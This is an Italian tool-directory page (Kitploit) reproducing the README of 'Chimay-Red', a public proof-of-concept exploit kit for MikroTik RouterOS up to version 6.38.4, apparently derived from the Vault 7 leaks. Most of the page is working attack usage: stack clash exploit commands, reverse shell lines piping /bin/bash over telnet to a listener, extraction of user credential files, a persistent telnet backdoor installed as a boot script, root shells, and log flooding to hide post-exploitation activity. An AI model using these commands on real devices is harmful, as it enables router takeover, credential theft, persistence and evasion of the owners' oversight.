Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Chimay-Red — POC funzionante dell'exploit Mikrotik dai leak Vault 7 della CIA | Kitploit
Strumenti/GitHubGitHub/bignerd95/chimay-red
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitReverse EngineeringShellcodePost-ExploitPenetration TestingSicurezza Hardware e IoTSviluppo PayloadBinary Exploitation
66821374 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
bignerd95/chimay-red

Chimay-Red

POC funzionante dell'exploit Mikrotik dai leak Vault 7 della CIA

Vedi Repository

Chimay-Red

Reverse engineering dell'exploit Mikrotik dai Vault 7 CIA Leaks

Vedi il PDF per maggiori informazioni (non aggiornato)

Versioni vulnerabili

Fino a RouterOS 6.38.4

Novità in 6.38.5 (2017-Mar-09 11:32):
!) www - corretta vulnerabilità del server http;

Proof of concepts

CrashPOC

Semplice crash inviando -1 come content-length nell'header post

StackClashPOC

Exploit stack clash utilizzando due thread, manca la ROP chain

Exploit funzionanti

Poiché la ROP è creata dinamicamente, devi estrarre il binario www dal firmware RouterOS.
(È posizionato in /nova/bin/)
Verifica che la versione in esecuzione sia la stessa.
Per semplificare l'estrazione puoi usare:

$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary

StackClash_x86

Exploit stack clash utilizzando due thread con ROP chain per eseguire comandi bash

Reverse shell:

In una shell:

$ nc -l -p 1234 

In un'altra shell:

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"

Dove:

  • IP RouterOS: 192.168.8.1
  • IP PC: 192.168.8.5

Estrarre utenti e password

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (attendi qualche secondo che www venga riavviato)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -

Esportare le configurazioni

Puoi eseguire comandi nella console Mikrotik con /nova/bin/info.
Es: /nova/bin/info "/system reboot" riavvierà il sistema.

$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (è un po' lento eseguire il comando /export)
$ curl -s http://192.168.8.1/winbox/index

StackClash_mips

Exploit stack clash utilizzando due thread con ROP chain + shell code per eseguire comandi bash
Nella versione mips di www lo stack è RWX, quindi possiamo saltare allo stack.

Puoi eseguire lo stesso comando bash della versione x86.

LCD

Comando divertente

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

image

Suono Super Mario

Non farlo! ;-P

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"

Caricare binari

Per caricare busybox-mips in /ram/busybox
In una shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; } | nc -l -q 0 -p 1234

In un'altra shell (nota che questo è il comando reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

e attendi finché la connessione non si chiude automaticamente.
(Una volta che il file è stato caricato, esegui di nuovo la reverse shell (questa volta ascoltando solo con nc -l -p 1234) e troverai busybox dentro /ram/)

Server telnet persistente

Puoi eseguire uno script ad ogni avvio creando uno script bash in /flash/etc/rc.d/run.d/.
Fai attenzione a impostare i permessi di esecuzione, altrimenti il tuo router si bloccherà all'avvio e dovrai ripristinare il firmware!
Questo esempio abilita un server telnet persistente sulla porta 23000.
In una shell:

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips 
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x  //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234

In un'altra shell (nota che questo è il comando reverse shell):

$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"

e attendi finché non appare Done! Rebooting....
Una volta che il router è di nuovo attivo:

$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.


MikroTik v6.38.4 (stable)
/ #

StackClash_resock_mips

Riutilizza il socket http per generare una shell, così puoi avere una shell senza una connessione inversa.

$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode

Got root ;-)

Caricare binari senza una reverse shell

Per caricare busybox-mips in /ram/busybox

$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips  
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox   
[...]   
Uploading busybox-mips in /ram/busybox...   
Upload done!
sh: turning off NDELAY mode

Got root ;-)

chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]

Cambiare il logo di avvio

Sono supportati solo file RGB Bitmap a 24 bit (non compressi).
Dimensione massima: 160px di larghezza, 76px di altezza
Puoi trovare un esempio qui

$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp  
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode

Got root ;-)

reboot
*** Connection closed by remote host ***

image

Nascondere i log

Per rimuovere i log dopo le tue azioni di post exploitation

/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"

FAQ

Dove si trova il file chimay-red.py, su cui si basa questo toolkit?

Questo è un reverse engineering di documentazione CIA trapelata.
Non esiste un chimay-red.py disponibile pubblicamente.

Non riesco a capire come funziona lo stack clash.

Aggiornerò il PDF appena avrò abbastanza tempo, comunque:
Sappiamo che:

  • ogni thread ha 128KB di stack
  • lo stack di ogni thread è impilato sopra quello del thread precedente.
Scarica lo strumento